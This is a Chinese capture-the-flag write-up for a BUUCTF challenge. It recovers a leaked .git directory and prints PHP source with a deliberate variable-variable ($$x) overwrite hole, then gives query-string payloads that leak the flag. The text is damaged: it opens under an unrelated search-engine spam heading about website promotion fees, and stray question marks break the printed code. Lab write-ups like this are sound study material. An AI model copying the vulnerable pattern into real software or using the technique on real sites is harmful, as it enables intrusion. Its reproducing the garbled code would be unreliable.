小縣城做網(wǎng)站百度推廣平臺收費標準
打開題目
發(fā)現(xiàn)這么多鏈接,以為要一點點去找功能上的漏洞。當你源代碼,dirsearch,抓包等等操作之后,發(fā)現(xiàn)什么都沒有。所以這題又是一道源碼泄露題,上GItHack。掃描結(jié)果如下
http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git
主要代碼在index里面
<?php
?
include 'flag.php';
?
$yds = "dog";
$is = "cat";
$handsome = 'yds';
?
foreach($_POST as $x => $y){
? ? $$x = $y; ? //$flag=1
}
?
foreach($_GET as $x => $y){
? ? $$x = $$y; ??
}
?
foreach($_GET as $x => $y){
? ? if($_GET['flag'] === $x && $x !== 'flag'){
? ? ? ? exit($handsome);
? ? }
}
?
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
? ? exit($yds);
}
?
if($_POST['flag'] === 'flag' ?|| $_GET['flag'] === 'flag'){
? ? exit($is);
}
?
echo "the flag is: ".$flag;
根據(jù)源代碼,需要通過get傳參達到變量覆蓋的目的。?
?yds=flag
覆蓋is變量
if($_POST['flag'] === 'flag' ?|| $_GET['flag'] === 'flag'){
? ? exit($is);
}
Get或Post傳入flag=flag,觸發(fā)變量覆蓋代碼
foreach($_POST as $x => $y){
? ? $$x = $y; ? //$flag=1
}
?
foreach($_GET as $x => $y){
? ? $$x = $$y; ??
}
輸出?is=flag&flag=flag
再覆蓋覆蓋handsome變量
handsome=flag,得到$handsome=$flag
?handsome=flag&flag=handsome
可以得到flag